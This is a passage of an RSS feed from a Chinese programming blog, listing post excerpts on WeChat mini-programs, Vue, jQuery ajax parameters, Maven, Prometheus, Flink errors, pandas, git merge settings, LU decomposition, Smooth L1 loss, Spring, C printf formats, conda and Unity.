      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、确定开发权限二、IDE三、创建项目四、基本结构 前言 这篇主要给微信小程序菜鸟参考。&#xA;有时候，后端猿猴也需要撸一把微信小程序。前几年弄过微信小程序，太久不用，又忘了，重新摸索了一遍，记录一下，避免一坑重踩。&#xA;一、确定开发权限 打开“微信公众平台”，使用手机微信扫描登录二维码，手机上弹出的选项中若有目标小程序，则表明可以对此小程序进行开发；否则需要目标小程序的管理员将你的微信设为开发者（或管理员），然后重复如前步骤点击弹出的小程序，登录小程序管理平台，查看或配置基本参数，如查看小程序密钥、AppId，或设置服务端域名白名单若无目标小程序，可以申请一个，也可以使用测试号（就是下面填写 AppId的时候随便写一个） 二、IDE 建议使用官方的“微信开发者工具”，里面的自动提示直接关联微信官方文档，可以快速查阅API文档，且可以一键上传代码到微信，比较方便 三、创建项目 打开“微信开发者工具”，使用手机微信进行开发者登录创建新项目或者导入已有项目，注意 AppId需要填写目标小程序的 AppId；使用测试号的，可以随便填一个然后点击右边“使用测试号”测试号不能发布，也不能生成体验版，只能自己给自己玩“开发模式”默认就是小程序，另有一个“插件”选项，是给老鸟开发小程序插件用的，菜鸟就不要看它了“服务后端”默认是“使用云服务”，就是用微信提供的后端服务和数据库啥的（推销他们的产品），没有且不能自己搭建后端环境的可以试用一下；正经开发者一般都有自己的后端环境，就选“不使用云服务”“模板选择”根据项目对应的业务和熟悉的前端语言（js/ts）选一个模板，不知道选啥就用“JavaScript-基础模板”，工具会帮你生成基础代码创建成功后，打开项目，进行开发界面&#xA;四、基本结构 正经的小程序代码结构如下：项目名 1 pages[页面文件夹]&#xA;所有的页面都放在这个目录下，一般一个子目录对应一个页面，结构参考“index”&#xA;1.1 index[首页目录] 1.1.1 index.js：JS代码文件1.1.2 index.json：json数据文件1.1.3 index.wxml：微信文本文件，类似于HTML1.1.4 index.wxss：微信样式文件，类似于CSS 2 app.js：全局js文件，小程序启动就会加载&#xA;3 app.json：全局json文件&#xA;4 app.wxss：全局样式文件&#xA;5 project.config.json：项目配置文件&#xA;6 project.private.config.json：项目私有配置文件，优先级高于 project.config.json，一般是本地个性环境的配置&#xA;7 sitemap.json：页面索引配置文件，用来配置小程序及其页面是否允许被微信索引（类似百度搜索）&#xA;8 其他：自定义的文件或文件夹，如 readme.md或utils、image等</description>
    </item>
    <item>
      <title>Vue</title>
      <link>https://bchobby.github.io/posts/2d8ec58babcec05d3fe8f712968de749/</link>
      <pubDate>Mon, 23 May 2022 15:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d8ec58babcec05d3fe8f712968de749/</guid>
      <description>笔记：vue基础 · 语雀&#xA;代码：vue基础阶段代码&#xA;官网：Vue.js(作者: 尤雨溪)&#xA;组件库 Vant2 Vant 2 - Mobile UI Components built on Vue&#xA;Vant 3 - Mobile UI Components built on Vue&#xA;elementui Element - The world&#39;s most popular Vue UI framework 一、Vue介绍 1、学习前的工具安装 插件名称作用 chrome插件&#xA;vue_devtools&#xA;可以检测网站是不是Vue开发，如果是图标会亮，如果不是图标是灰暗; 可以在开发阶段帮助我们调试数据；&#xA;安装方法：三点 → 更多工具 → 扩展程序 → 打开&#39;开发者模式&#39; → 将插件拖入其中(安装完成) → 工具栏中的&#39;扩展程序&#39;，将其固定 vscode插件&#xA;vetur&#xA;让vscode能够识别 .vue文件；&#xA;还提供了一些vue代码的格式化功能，以及一些简单的代码段；&#xA;vue 3 snippets&#xA;（选装）&#xA;提供更多的vue的代码段&#xA;2、Vue及其作用 概念：Vue是一套渐进式的JavaScript框架；&#xA;作用：开发快捷；&#xA;什么是框架？&#xA;内部做了高度封装，并提供了自己的一套语法和开发体系，用框架可能会改变原本的开发模式；</description>
    </item>
    <item>
      <title>$.ajax() 参数详解</title>
      <link>https://bchobby.github.io/posts/c5fc94d3ecce744af1aab0804da6bc43/</link>
      <pubDate>Mon, 23 May 2022 11:35:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5fc94d3ecce744af1aab0804da6bc43/</guid>
      <description>1.url:&#xA;要求为String类型的参数，（默认为当前页地址）发送请求的地址。&#xA;2.type:&#xA;要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和delete也可以使用，但仅部分浏览器支持。&#xA;3.timeout:&#xA;要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局设置。&#xA;4.async:&#xA;要求为Boolean类型的参数，默认设置为true，所有请求均为异步请求。如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等待请求完成才可以执行。&#xA;5.cache:&#xA;要求为Boolean类型的参数，默认为true（当dataType为script时，默认为false），设置为false将不会从浏览器缓存中加载请求信息。&#xA;cache属性是true（默认值）时：在第一次请求完成之后，如果地址和参数不变化，第二次去请求，会默认获取缓存中的数据，不去读取服务器端的最新数据。&#xA;cache属性是flase（默认值）时：每次读取的是最新的数据。&#xA;ajax缓存只对GET方式的请求有效，因为浏览器认为POST请求提交的内容必定有变化，所以不走缓存。所以POST下都是false&#xA;6.data:&#xA;要求为Object或String类型的参数，发送到服务器的数据。如果已经不是字符串，将自动转换为字符串格式。get请求中将附加在url后。防止这种自动转换，可以查看　processData选项。对象必须为key/value格式，例如{foo1:&#34;bar1&#34;,foo2:&#34;bar2&#34;}转换为&amp;amp;foo1=bar1&amp;amp;foo2=bar2。如果是数组，JQuery将自动为不同值对应同一个名称。例如{foo:[&#34;bar1&#34;,&#34;bar2&#34;]}转换为&amp;amp;foo=bar1&amp;amp;foo=bar2。&#xA;7.dataType:&#xA;要求为String类型的参数，预期服务器返回的数据类型。如果不指定，JQuery将自动根据http包mime信息返回responseXML或responseText，并作为回调函数参数传递。可用的类型如下：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求时（不在同一个域下），所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;8.traditional:&#xA;防止深度序列化；ajax做数据处理时，是通过jQuery.param( obj, traditional )该方法进行处理。&#xA;jquery1.4版本以后traditional参数，默认false的时候如果是{a:{b:&#39;value&#39;}}是处理成a[b],这样形式，如果是数组：data:{a:[1,2]}，是解析成a[]=1&amp;amp;a[]=2，这种方式后台确实要做兼容（取a[b]或a[]）来取值。&#xA;在数组情况下把traditional参数设置成true，是解析成a=1&amp;amp;a=2,对后台直接通过a拿数据。但是实验了下object情况，把traditional设置成true，转成了a=[object+Object]，这样就是费的了。false时解析成上面的形式应该就是类型指示作用，我看到这种格式就知道请求数据是Array还是object了，true就是按照form提交的方式传值。&#xA;这个属性默认是false,jquery会深度序列化这个对象，以适应PHP等框架，我们可以通过设置tradtional为true阻止深度序列化&#xA;这样以后碰到复选框传多个id的时候就不用前台拼后台spilt了，直接用ajax的traditional属性，传过去一个数组，后台直接一个List&amp;lt;Long&amp;gt; idList接受即可。非常方便。&#xA;9.beforeSend：&#xA;要求为Function类型的参数，发送请求前可以修改XMLHttpRequest对象的函数，例如添加自定义HTTP头。在beforeSend中如果返回false可以取消本次ajax请求。XMLHttpRequest对象是惟一的参数。&#xA;function(XMLHttpRequest){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;10.complete：&#xA;要求为Function类型的参数，请求完成后调用的回调函数（请求成功或失败时均调用）。参数：XMLHttpRequest对象和一个描述成功请求类型的字符串。&#xA;function(XMLHttpRequest, textStatus){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;11.success：要求为Function类型的参数，请求成功后调用的回调函数，有两个参数。&#xA;(1)由服务器返回，并根据dataType参数进行处理后的数据。&#xA;(2)描述状态的字符串。&#xA;function(data, textStatus){&#xA;//data可能是xmlDoc、jsonObj、html、text等等&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;12.error:&#xA;要求为Function类型的参数，请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错误信息、捕获的错误对象(可选)。ajax事件函数如下：&#xA;function(XMLHttpRequest, textStatus, errorThrown){&#xA;//通常情况下textStatus和errorThrown只有其中一个包含信息&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;可以从4个属性中读取信息：&#xA;readyState:当前的状态；0：未初始化；1：正在载入；2：已经载入；3：数据进行交互；4：完成status:返回的HTTP状态码；常见的错误404（客户端出错），500（服务端出错）statusText:对应状态码的错误信息；eg:404：not found;500：Internal Server ErrorresponseText:服务器响应返回的文本信息　13.</description>
    </item>
    <item>
      <title>maven项目的环境配置问题</title>
      <link>https://bchobby.github.io/posts/33c57e09314f0250b8168e446e976f58/</link>
      <pubDate>Mon, 23 May 2022 04:00:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c57e09314f0250b8168e446e976f58/</guid>
      <description>最开始改pom配置文档后虽然update但是依然报错&#xA;看出来和版本有关系，虽然老师在视频演示no error，但是活学活用，既然这边不行。就加上version&#xA;version通过报错的地址去查询&#xA;比如下面的包，报错就会显示org.springframework.spring-beans…&#xA;出现数字就是我们所用的版本号&#xA;大部分是只有一个版本&#xA;这边sping-beans比较特殊，所以我下载了多个。&#xA;如图，maven项目run之后报错&#xA;看了一下，大概是jar包不能出了问题&#xA;从网上查询得知：&#xA;1.Maven项目包与本地库冲突&#xA;2.jar包更新&#xA;由于我ali_repo，去年已经搞过&#xA;可能对于现在高级实作来说有一些包的变化&#xA;因此果断删除，重新下载ali_repo&#xA;下载链接：https://pan.baidu.com/s/1_bXGUIhSdPl3VrkEV_5Wag?pwd=cccc&#xA;提取码：cccc&#xA;之后就出现新的问题：&#xA;Failed to initialize end point associated with ProtocolHandler [“http-bio-88”] java.net.BindExceptio&#xA;感觉是88端口被占用了&#xA;win+R&#xA;cmd&#xA;进入命令窗&#xA;一开始以为是Apache的进程没在意&#xA;后来才发现是上次启动异常结束导致这个端口一直挂着&#xA;所以kill重新run maven项目就可以了&#xA;记录一下，总归是解决了&#xA;撒花✿✿ヽ(°▽°)ノ✿</description>
    </item>
    <item>
      <title>Prometheus监控</title>
      <link>https://bchobby.github.io/posts/ce3817992b6f73bb41250cbca7b4d9e0/</link>
      <pubDate>Mon, 23 May 2022 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce3817992b6f73bb41250cbca7b4d9e0/</guid>
      <description>用Zabbix监控底层设备，用Prometheus监控容器。&#xA;Prometheus监控官网地址&#xA;Prometheus架构图 分为客户端Agent和Server端。agent端推送数据给服务器。&#xA;一、Grafana介绍 Grafana是一个跨平台的开源的度量分析和可视化工具，可以通过将采集的数据查询然后可视化的展示，并及时通知。&#xA;它主要有以下六大特点：&#xA;1、展示方式：快速灵活的客户端图表，面板插件有许多不同方式的可视化指标和日志，官方库中具有丰富的仪表盘插件，比如热图、折线图、图表等多种展示方式；&#xA;2、数据源：Graphite，InfluxDB，OpenTSDB，Prometheus，Elasticsearch，CloudWatch和KairosDB等；&#xA;3、通知提醒：以可视方式定义最重要指标的警报规则，Grafana将不断计算并发送通知，在数据达到阈值时通过Slack、PagerDuty等获得通知；&#xA;4、混合展示：在同一图表中混合使用不同的数据源，可以基于每个查询指定数据源，甚至自定义数据源；&#xA;5、注释：使用来自不同数据源的丰富事件注释图表，将鼠标悬停在事件上会显示完整的事件元数据和标记；&#xA;6、过滤器：Ad-hoc过滤器允许动态创建新的键/值过滤器，这些过滤器会自动应用于使用该数据源的所有查询。&#xA;二、Prometheus组件 普罗米修斯是一个开源系统监视和警报工具包，包含一整套数据的搜索\存储\处理\可视化功能。使用http接口来传输数据(通常搭配cAdvisor使用)。&#xA;1.Server 负责从exporters拉取监控数据,提供一套非常灵活的查询语言&#xA;2.exporters 负责收集目标对象的性能数据(内存、CPU、硬盘),主动提交给Server端&#xA;3.Grafana 可视化数据组件&#xA;4.Client Library: 客户端库，为需要监控的服务生成相应的 metrics 并暴露给server。当server来pull时，直接返回实时状态的 metrics。&#xA;5.Push Gateway: 主要用于短期的 jobs。由于这类 jobs 存在时间较短，可能在 Prometheus 来 pull 之前就消失了。为此，这次 jobs 可以直接向server 端推送它们的 metrics。这种方式主要用于服务层面的 metrics，对于机器层面的 metrices，需要使用 node exporter。&#xA;6.Alertmanager: 从server端接收到警报后，会进行去除重复数据，分组，并路由到对收的接受方式，发出报警。&#xA;常见的接收方式有：电子邮件，pagerduty，OpsGenie, webhook 等。&#xA;三、prometheus运行流程 prometheus根据配置定时去拉取各个节点的数据，默认使用的拉取方式是pull，也可以使用pushgateway提供的push方式获取各个监控节点的数据。将获取到的数据存入TSDB(一款时序型数据库)。此时prometheus已经获取到了监控数据，可以使用内置的PromQL进行查询。它的报警功能使用Alertmanager提供(Alertmanager是prometheus的告警管理和发送报警的一个组件)。prometheus原生的图标功能过于简单，可将prometheus数据接入grafana，由grafana进行统一管理。&#xA;从上面架构图也可以看出 Prometheus 的主要模块包含， Server, Exporters, Pushgateway, PromQL, Alertmanager, WebUI 等。&#xA;它大致使用逻辑是这样：&#xA;1.Prometheus server 定期从静态配置的 targets 或者服务发现的 targets 拉取数据。</description>
    </item>
    <item>
      <title>Flink流计算中double类型NullPointException</title>
      <link>https://bchobby.github.io/posts/05e33e59205b47aa03f2729037b7d95b/</link>
      <pubDate>Sun, 22 May 2022 22:01:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05e33e59205b47aa03f2729037b7d95b/</guid>
      <description>Flink计算中Double类型数据如何Filter过滤，使用窗口算子函数报NullPointException空指针异常，又是怎么回事？&#xA;2022-05-19 09:44:22,587 WARN org.apache.flink.runtime.taskmanager.Task [] - Window(TumblingEventTimeWindows(600000), EventTimeTrigger, AggregateFunction$5, PassThroughWindowFunction) (1/1)#0 (2de98fdf39aaa5e7fb973e0b4ee0168d) switched from RUNNING to FAILED with failure cause: java.io.IOException: Exception while applying AggregateFunction in aggregating state at org.apache.flink.runtime.state.heap.HeapAggregatingState.add(HeapAggregatingState.java:107) at org.apache.flink.streaming.runtime.operators.windowing.WindowOperator.processElement(WindowOperator.java:413) at org.apache.flink.streaming.runtime.tasks.OneInputStreamTask$StreamTaskNetworkOutput.emitRecord(OneInputStreamTask.java:233) at org.apache.flink.streaming.runtime.io.AbstractStreamTaskNetworkInput.processElement(AbstractStreamTaskNetworkInput.java:134) at org.apache.flink.streaming.runtime.io.AbstractStreamTaskNetworkInput.emitNext(AbstractStreamTaskNetworkInput.java:105) at org.apache.flink.streaming.runtime.io.StreamOneInputProcessor.processInput(StreamOneInputProcessor.java:65) at org.apache.flink.streaming.runtime.tasks.StreamTask.processInput(StreamTask.java:496) at org.apache.flink.streaming.runtime.tasks.mailbox.MailboxProcessor.runMailboxLoop(MailboxProcessor.java:203) at org.apache.flink.streaming.runtime.tasks.StreamTask.runMailboxLoop(StreamTask.java:809) at org.apache.flink.streaming.runtime.tasks.StreamTask.invoke(StreamTask.java:761) at org.apache.flink.runtime.taskmanager.Task.runWithSystemExitMonitoring(Task.java:958) at org.apache.flink.runtime.taskmanager.Task.restoreAndInvoke(Task.java:937) at org.apache.flink.runtime.taskmanager.Task.doRun(Task.java:766) at org.apache.flink.runtime.taskmanager.Task.run(Task.java:575) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.NullPointerException at com.chnenergy.provider.flink.FanDataFlink$5.add(FanDataFlink.java:224) at com.chnenergy.provider.flink.FanDataFlink$5.add(FanDataFlink.java:200) at org.apache.flink.runtime.state.heap.HeapAggregatingState$AggregateTransformation.apply(HeapAggregatingState.java:135) at org.</description>
    </item>
    <item>
      <title>python中pandas包使用的一个header参数</title>
      <link>https://bchobby.github.io/posts/3a32f503b7fed4fd5358311c5068260c/</link>
      <pubDate>Sun, 22 May 2022 18:06:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a32f503b7fed4fd5358311c5068260c/</guid>
      <description>也许有人会不明白panda在读取excel时的语句里边的header参数&#xA;如下：&#xA;a = pd.read_excel(&#34;建模题目一.xlsx&#34;, header=None) 那么header=None是什么意思呢？---&amp;gt;字面上就是没有表头。&#xA;没有表头会怎么办呢？----&amp;gt;你表里边的第一行就会被pandas解析为表头&#xA;下边给出演示：&#xA;我的原始Excel表：&#xA;处理代码：&#xA;a = pd.read_excel(&#34;建模题目一.xlsx&#34;, header=None) 返回结果：&#xA;0 年份 1-2季度 3-4季度 1 1997 89.2 123.4 2 1998 133.6 143.2 3 1999 146.2 140.8 4 2000 143.8 149.5 结果分析：&#xA;pandas把我们的第一行解析为了表头。&#xA;header拓展用法：&#xA;指定从第几行为表头。比如我要把第三行作为表头【前两行的数据就不会读取了】，那么我的 header = 2，对应的代码为：&#xA;a = pd.read_excel(&#34;建模题目一.xlsx&#34;, header=2) 运行结果：&#xA;1998.0 133.6 143.2 0 1999 146.2 140.8 1 2000 143.8 149.5 2 2001 141.4 163.6 3 2002 162.1 163.0 4 2003 167.</description>
    </item>
    <item>
      <title>git merge时忽略某文件合并来避免冲突（以忽略package-lock.json文件冲突为例）</title>
      <link>https://bchobby.github.io/posts/f58f0bb5519b1a242855626e84532bb8/</link>
      <pubDate>Sun, 22 May 2022 17:02:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f58f0bb5519b1a242855626e84532bb8/</guid>
      <description> 根据官方文档，package-lock.json 是在 npm install时候生成一份文件，用以记录当前状态下实际安装的各个npm package的具体来源和版本号。它的作用是允许开发者在pacakge.json中间标出自己项目对npm各库包的依赖。&#xA;在做前端设计时，生成的package-lock.json和别人不同，要进行merge，并上传到remote时，merge会显示冲突，如下：&#xA;CONFLICT (content): Merge conflict in package-lock.json Automatic merge failed; fix conflicts and then commit the result. 下面将该文件进行忽略，同样适用于其他文件&#xA;第一步先添加一个merge driver：&#xA;git config --global merge.ours.driver true 第二步在本地项目的根目录下添加一个文件.gitattributes , 并在文件里写入需要忽略的文件，格式如下：&#xA;package-lock.json merge=ours # 这里的package-lock.json就是我们想要忽略的文件名 #有多个的话，依次排列即可 </description>
    </item>
    <item>
      <title>矩阵A可以LU分解的充要条件</title>
      <link>https://bchobby.github.io/posts/f31c5d2b4bf9c0ca6242fbcd2dd945bf/</link>
      <pubDate>Sun, 22 May 2022 17:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f31c5d2b4bf9c0ca6242fbcd2dd945bf/</guid>
      <description>矩阵A可以LU分解的充要条件是&#xA;∀ k ∈ { 1 , ⋯ , n } , r a n k A 1 : k , 1 : k + k ⩾ r a n k A 1 : k , 1 : n + r a n k A 1 : n , 1 : k \forall k \in \{1,\cdots,n\}, \mathrm{rank} A_{1:k,1:k} + k \geqslant \mathrm{rank} A_{1:k,1:n} + \mathrm{rank} A_{1:n,1:k} ∀k∈{1,⋯,n},rankA1:k,1:k​+k⩾rankA1:k,1:n​+rankA1:n,1:k​.&#xA;如果矩阵A可以LU分解, 分解的唯一性需要通过下式分析</description>
    </item>
    <item>
      <title>【Smooth L1 Loss】Smooth L1损失函数理解</title>
      <link>https://bchobby.github.io/posts/02cfec5f0a1968cea89c72db7c98a5c5/</link>
      <pubDate>Sun, 22 May 2022 16:29:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02cfec5f0a1968cea89c72db7c98a5c5/</guid>
      <description>文章目录 1 引言2 L1 Loss3 L2 Loss4 Smooth L1 Loss5 曲线对比分析6 参考链接 1 引言 目标检测任务的损失函数由Classificition Loss和Bounding Box Regeression Loss两部分构成。&#xA;Bounding Box Regression Loss Function的演进路线是：&#xA;Smooth L1 Loss --&amp;gt; IoU Loss --&amp;gt; GIoU Loss --&amp;gt; DIoU Loss --&amp;gt; CIoU Loss&#xA;本文介绍L1 loss、L2 loss以及Smooth L1 Loss。&#xA;2 L1 Loss 公式：&#xA;当假设 x 为预测框和真实框之间的数值差异时，公式变为： L 1 = ∣ x ∣ L_1 = |x| L1​=∣x∣&#xA;导数：&#xA;特点：&#xA;L1 loss在零点处不平滑，学习慢；&#xA;L 1 L_1 L1​ 损失函数对 x 的导数为常数，训练后期，x 很小时，如果学习率不变，损失函数会在稳定值附近波动，很难收敛到更高的精度。(这句话可能得想一下才能懂) 3 L2 Loss 公式：</description>
    </item>
    <item>
      <title>Spring从入门到精通</title>
      <link>https://bchobby.github.io/posts/7158017368da9a868df0e61c874a7b54/</link>
      <pubDate>Sun, 22 May 2022 13:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7158017368da9a868df0e61c874a7b54/</guid>
      <description>第一章、Spring简介（给软件行业带来春天）（是个全家桶，有很多单独的框架） 1、什么是spring？（解决企业开发的难度，减轻对项目模块之间的管理，类和类之间的管理，帮助开发人员创建对象，管理对象之间的关系）（核心功能是IOC和AOP，能够实现模块之间，类之间的解耦合） Spring是一个引擎，是一个开源容器框架，可以接管web层，业务层，dao层，持久层的组件，并且可以配置各种bean,和维护bean与bean之间的关系。其核心就是控制翻转（IOC），和面向切面（AOP），简单的说就是一个分层的轻量级开源框架。&#xA;Spring原理和组成：Spring为简化我们的开发工作，封装了一系列的开箱即用的组件功能模块，包括：Spring JDBC 、Spring MVC 、Spring Security、 Spring AOP 、Spring ORM 、Spring Test等。&#xA;理念（目的）：解决企业应用开发的复杂性，使现有的技术更加容易使用，本身是一个大杂烩整合了现有的框架。&#xA;优点：&#xA;1、Spring是一个免费开源的框架（容器）！&#xA;2、Spring是一个轻量级的非入侵的框架！&#xA;3、控制反转（IOC），面向切面编程（AOP）&#xA;4、支持事务的处理，对框架整合的支持！&#xA;总结：Spring就是一个轻量级的控制反转（IOC）和面向切面编程的框架！&#xA;Spring包含了SpringMVC，而SpringBoot又包含了Spring或者说是在Spring的基础上做得一个扩展。&#xA;spring mvc &amp;lt; spring &amp;lt; springboot&#xA;Spring Boot只是Spring本身的扩展，使开发，测试和部署更加方便。&#xA;SSM框架：Spring+SpringMVC+MyBatis&#xA;Spring MVC：属于SpringFrameWork的后续产品，已经融合在Spring Web Flow里面。Spring MVC 分离了控制器、模型对象、分派器以及处理程序对象的角色，这种分离让它们更容易进行定制。&#xA;MyBatis： 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以对配置和原生Map使用简单的 XML 或注解，将接口和 Java 的 POJOs(Plain Old Java Objects,普通的 Java对象)映射成数据库中的记录。&#xA;Rod Johnson:Spring Framework的创始人，音乐学的博士学位，轮子理论：就是不要重复发明轮子&#xA;2、什么是框架？ 框架可以类比如造房子的框架和造桥梁的框架，类库可以类比如为钢材，类库更加通用。&#xA;3、为什么使用框架？ 软件系统日趋复杂&#xA;重用度高，开发效率和质量高&#xA;软件设计人员要专注于对领域的了解，使需求更充分易于上手、快速解决问题。&#xA;4、Sping IOC容器 面向接口编程的例子：&#xA;接口：&#xA;实现类：&#xA;调用：</description>
    </item>
    <item>
      <title>C语言中（%d %.2d %2d %02d）（%2x, %02x, %-2x, %.2x）（%f, %.2f, %2.2f）（%e, %.2e,%3.2e）的区别</title>
      <link>https://bchobby.github.io/posts/5c62e52333b8aae2a38371b7e652fd79/</link>
      <pubDate>Sun, 22 May 2022 11:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c62e52333b8aae2a38371b7e652fd79/</guid>
      <description>目录&#xA;%d %.2d %2d %02d&#xA;%2x, %02x, %-2x, %.2x&#xA;%f, %.2f, %2.2f&#xA;%e, %.2e,%3.2e&#xA;%d %.2d %2d %02d %d：即为普通的输出,是几位数就输出几位数。&#xA;%2d：按宽度为2输出，右对齐方式输出。若不够两位，左边补空格。&#xA;%02d：同样宽度为2，右对齐方式。位数不够，左边补0。&#xA;%.2d：从执行效果来看，与%02d一样。&#xA;%-2d：-号表示右边补空格&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int a = 2; printf(&#34;%d\n&#34;, a);// % d：即为普通的输出, 是几位数就输出几位数。 printf(&#34;%-2d\n&#34;, a);//% -2d： - 号表示后补空格 printf(&#34;%2d\n&#34;, a);//% 2d：按宽度为2输出，右对齐方式输出。若不够两位，左边补空格。 printf(&#34;%.2d\n&#34;, a);//% .2d：从执行效果来看，与 % 02d一样。 printf(&#34;%02d\n&#34;, a);//% 02d：同样宽度为2，右对齐方式。位数不够，左边补0。 return 0; } %2x, %02x, %-2x, %.2x x：表示以十六进制形式输出,&#xA;%02x： 表示不足两位，前面补0输出；如果超过两位，则实际输出&#xA;%.2x：效果和%02x相同 （%02x=%.2x）&#xA;%2x：表示数据不足两位时，前面补空格； 如果超过两位，则实际输出&#xA;%-2x：表示数据不足两位时，后面补空格； 如果超过两位，则实际输出&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { printf(&#34;</description>
    </item>
    <item>
      <title>如何切换不同的python环境</title>
      <link>https://bchobby.github.io/posts/050bf4d8fb949cc2e211ebbeffa6e037/</link>
      <pubDate>Sat, 21 May 2022 22:22:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/050bf4d8fb949cc2e211ebbeffa6e037/</guid>
      <description>先”win+R&#34;键，输入cmd,打开terminal；输入conda env list，查看有哪些python环境。其中带*号的是默认激活的python环境。即打开jupyter notebook默认是该环境。 C:\Users\Battery&amp;gt;conda env list # conda environments: # py35 D:\anaconda3\envs\py35 base * d:\anaconda3 py35 d:\anaconda3\envs\py35 不妨我们通过jupyter kernelspec list来试一下 C:\Users\Battery&amp;gt;jupyter kernelspec list Available kernels: python3 d:\anaconda3\share\jupyter\kernels\python3 激活要用的python环境（这里我需要的环境是py35)：conda activate py35 C:\Users\Battery&amp;gt;conda activate py35 (py35) C:\Users\Battery&amp;gt;conda env list # conda environments: # py35 D:\anaconda3\envs\py35 base d:\anaconda3 py35 * d:\anaconda3\envs\py35 打开jupyter笔记本，则已成功切换python环境 补充：&#xA;我一般不会在C:\Users\Battery打开笔记本，考虑到大部分文件在E盘，因而在这里输出cmd，然后重复上述操作打开jupyter笔记本</description>
    </item>
    <item>
      <title>element-ui table 表格组件实现可拖拽效果（行、列）</title>
      <link>https://bchobby.github.io/posts/57bc3f3378ba39fb8e482b87c22b6f3f/</link>
      <pubDate>Sat, 21 May 2022 19:19:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57bc3f3378ba39fb8e482b87c22b6f3f/</guid>
      <description>前言 最近需要实现table表格，行拖拽的功能，参照了一些优秀文章，实现了一下&#xA;参考文章&#xA;Vue进阶（幺零五）：elementUI 实现表格行列拖拽&#xA;实现思路 主要是借助sortablejs，关于sortablejs我简单写了篇文章，有兴趣的可以看一下&#xA;拖拽，draggable组件和sortablejs&#xA;安装&#xA;npm install draggable 需要注意的是element table务必指定row-key，且row-key必须是唯一的，如ID，不然会出现排序不对的情况。&#xA;实现思路&#xA;1、定义一个列的数组，用来放列的数据。然后循环将列渲染出来&#xA;2、定义一个拖拽列的数组，拖拽后改变列在数组中的排列顺序&#xA;代码&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; row-key=&#34;id&#34; border style=&#34;width: 50%&#34;&amp;gt; &amp;lt;el-table-column type=&#34;index&#34; label=&#34;序号&#34; width=&#34;100&#34; align=&#34;center&#34; /&amp;gt; &amp;lt;el-table-column v-for=&#34;(item, index) in colList&#34; align=&#34;center&#34; show-overflow-tooltip :key=&#34;`col_${index}`&#34; :prop=&#34;dropCol[index].prop&#34; :label=&#34;item.label&#34; :min-width=&#34;item.minWidth&#34; &amp;gt; &amp;lt;template v-slot=&#34;scope&#34;&amp;gt; &amp;lt;span v-if=&#34;dropCol[index].prop == &#39;date&#39;&#34; style=&#34;color: blue&#34;&amp;gt; {{ scope.row[dropCol[index].prop] }} &amp;lt;/span&amp;gt; &amp;lt;span v-else&amp;gt; {{ scope.row[dropCol[index].prop] }} &amp;lt;/span&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;pre style=&#34;text-align: left&#34;&amp;gt; {{ dropCol }} &amp;lt;/pre&amp;gt; &amp;lt;hr /&amp;gt; &amp;lt;pre style=&#34;</description>
    </item>
    <item>
      <title>Unity-属性类似是有返回值方法的变量</title>
      <link>https://bchobby.github.io/posts/0838920e1126904deb96466f2b728cf2/</link>
      <pubDate>Sat, 21 May 2022 15:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0838920e1126904deb96466f2b728cf2/</guid>
      <description>属性类似是有返回值方法的变量&#xA;属性有一个优点，当类内部发生改变时，外部可以不受到任何影响。&#xA;需求：学生的年龄不是录入而是需要根据生日年份自动计算。输入学生的年龄，判断如果学生年龄大于18岁，则判定为成人。&#xA;//类的属性 using System; using System.Collections; using System.Collections.Generic; using UnityEngine; //属性类似是有返回值方法的变量 //属性有一个优点，当类内部发生改变时，外部可以不受到任何影响。 //需求：学生的年龄不是录入而是需要根据生日年份自动计算。输入学生的年龄，判断如果学生年龄大于18岁，则判定为成人。 public class Demo : MonoBehaviour { void Start() { Student student = new Student() { birthdayYear = 2000 }; Debug.Log(&#34;学生年龄 = &#34; + student.age); student.age = 20; Debug.Log(&#34;学生是否成人 = &#34; + student.isAdult); } } public class Student : MonoBehaviour { public int birthdayYear; public bool isAdult = false; public int age { get { return DateTime.</description>
    </item>
    <item>
      <title>华为防火墙技术-防火墙基础</title>
      <link>https://bchobby.github.io/posts/8314e31d668c6f46d6bf4895220fe8f2/</link>
      <pubDate>Sat, 21 May 2022 14:21:27 +0800</pubDate>
